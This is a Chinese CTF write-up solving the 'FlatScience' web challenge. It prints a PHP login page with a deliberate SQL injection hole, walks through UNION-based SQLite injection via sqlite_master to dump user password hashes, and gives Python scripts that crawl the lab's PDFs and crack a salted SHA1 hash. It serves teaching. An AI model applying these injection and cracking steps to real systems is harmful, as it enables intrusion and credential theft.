【攻防世界】Web系列之FlatScience 分析 访问靶场页面如下,可以点击获得不同文章
获得多个pdf文章
根据目前提示消息无法得出有利思路,使用目录扫描爆破存在路径,有一个robots.txt
访问robots.txt,得到两个连接/login.php和/admin.php
依次访问/login.php和/admin.php两个登录页面
经过对这两个页面源代码的观察和基本测试,得到下面的线索
首先访问下login.php的debug页面,如下
得到的源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 COPY <?php ob_start(); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <style> blockquote { background: #eeeeee; } h1 { border-bottom: solid black 2px; } h2 { border-bottom: solid black 1px; } .comment { color: darkgreen; } </style> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Login</title> </head> <body> <div align=right class=lastmod> Last Modified: Fri Mar 31:33:7 UTC 1337 </div> <h1>Login</h1> Login Page, do not try to hax here plox!<br> <form method="post"> ID:<br> <input type="text" name="usr"> <br> Password:<br> <input type="text" name="pw"> <br><br> <input type="submit" value="Submit"> </form> <?php if(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); if($res){ $row = $res->fetchArray(); } else{ echo "<br>Some Error occourred!"; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); } } if(isset($_GET['debug'])) highlight_file('login.php'); ?> <!-- TODO: Remove ?debug-Parameter! --> <hr noshade> <address>Flux Horst (Flux dot Horst at rub dot flux)</address> </body>
在上述代码中,可以看到下面的数据库查询语句有明显的注入漏洞,直接将post请求中的usr参数拼接到查询语句中
1 COPY $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");这句
那么,我们就需要对user这个参数进行SQL注入,如下测试是否有回显报错信息
接下来测试查询字段,如下可得到查询字段为2
下面查询回显字段,可以看到联合查询的2在响应报文中的Set-Cookie字段中,第二个字段为回显字段
查询目标数据库信息,使用sqlite_version(),得到数据库版本为3.0.10.2
解题 tip 由于这里的数据库为sqlite3,SQLite 注入的基本操作与 MySQL 注入相似,MySQL 有的 SQLite 基本都有,一个最大的不同就是没有 information_schema
,但有sqlite_master表,记录用户创建表时的操作信息。
下面我们来对sqlite3数据库操作一下,如下图
我们可以看到在sqlite_master数据表中有我们创建的student数据表时的sql语句和表名,接下来就可以去进行注入查询
注入 查看表名,存在Users,sqlite_autoindex_Users_1
查看创建Users表时的sql语句
获得sql语句如下,在创建Users数据表时,有id、name、password和hint四个字段
1 2 3 4 5 COPY CREATE TABLE Users (id int primary key, name varchar(255), password varchar(255), hint varchar(255))
接下来可依次查询name字段和password字段,得到三组用户及其密码hash值(无法直接爆破出明文)
1 2 3 COPY admin, 3fab54a50e770d830c0416df817567662a9dc85c; fritze, 54eae8935c90f467427f05e4ece82cf569f89507; hansi, 34b0bb7c304949f9ff2fc101eef0f048be10d3bd
爆破 这时根据首页中的论文想到,可能密码就是其中某个单词,所以想办法获取所有pdf中的单词,然后计算hash值来爆破得到正确的密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 COPY import requestsimport reimport osimport sysre1 = '[a-fA-F0-9]{32,32}.pdf' re2 = '[0-9\/]{2,2}index.html' pdf_list = [] def get_pdf (url ): global pdf_list print (url) req = requests.get(url).text re_1 = re.findall(re1, req) for i in re_1: pdf_url = url + i pdf_list.append(pdf_url) re_2 = re.findall(re2, req) for j in re_2: new_url = url + j[0 :2 ] get_pdf(new_url) return pdf_list pdf_list=get_pdf('http://61.147.171.105:51580/' ) print (pdf_list)for i in pdf_list: os.system('curl ' +'-O ' +i)
下载得到多个pdf文件
下面就是将pdf转换为txt,在将其中的单词计算sha1值去和3fab54a50e770d830c0416df817567662a9dc85c 作比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 COPY from io import StringIOfrom pdfminer.pdfpage import PDFPagefrom pdfminer.converter import TextConverterfrom pdfminer.converter import PDFPageAggregatorfrom pdfminer.layout import LTTextBoxHorizontal, LAParamsfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreterimport sysimport stringimport osimport hashlibimport importlibimport randomfrom urllib.request import urlopenfrom urllib.request import Requestdef get_pdf (): return [i for i in os.listdir("./" ) if i.endswith("pdf" )] def convert_pdf_to_txt (path_to_file ): rsrcmgr = PDFResourceManager() retstr = StringIO() codec = 'utf-8' laparams = LAParams() device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams) fp = open (path_to_file, 'rb' ) interpreter = PDFPageInterpreter(rsrcmgr, device) password = "" maxpages = 0 caching = True pagenos=set () for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True ): interpreter.process_page(page) text = retstr.getvalue() fp.close() device.close() retstr.close() return text def find_password (): pdf_path = get_pdf() for i in pdf_path: print ("Searching word in " + i) pdf_text = convert_pdf_to_txt("./" +i).split(" " ) for word in pdf_text: sha1_password = hashlib.sha1(word.encode('utf-8' )+'Salz!' .encode('utf-8' )).hexdigest() if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c' ): print ("Find the password :" + word) exit() if __name__ == "__main__" : find_password()
最后得到ThinJerboa
在admin.php中输入password即可得到flag
得到flag为flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}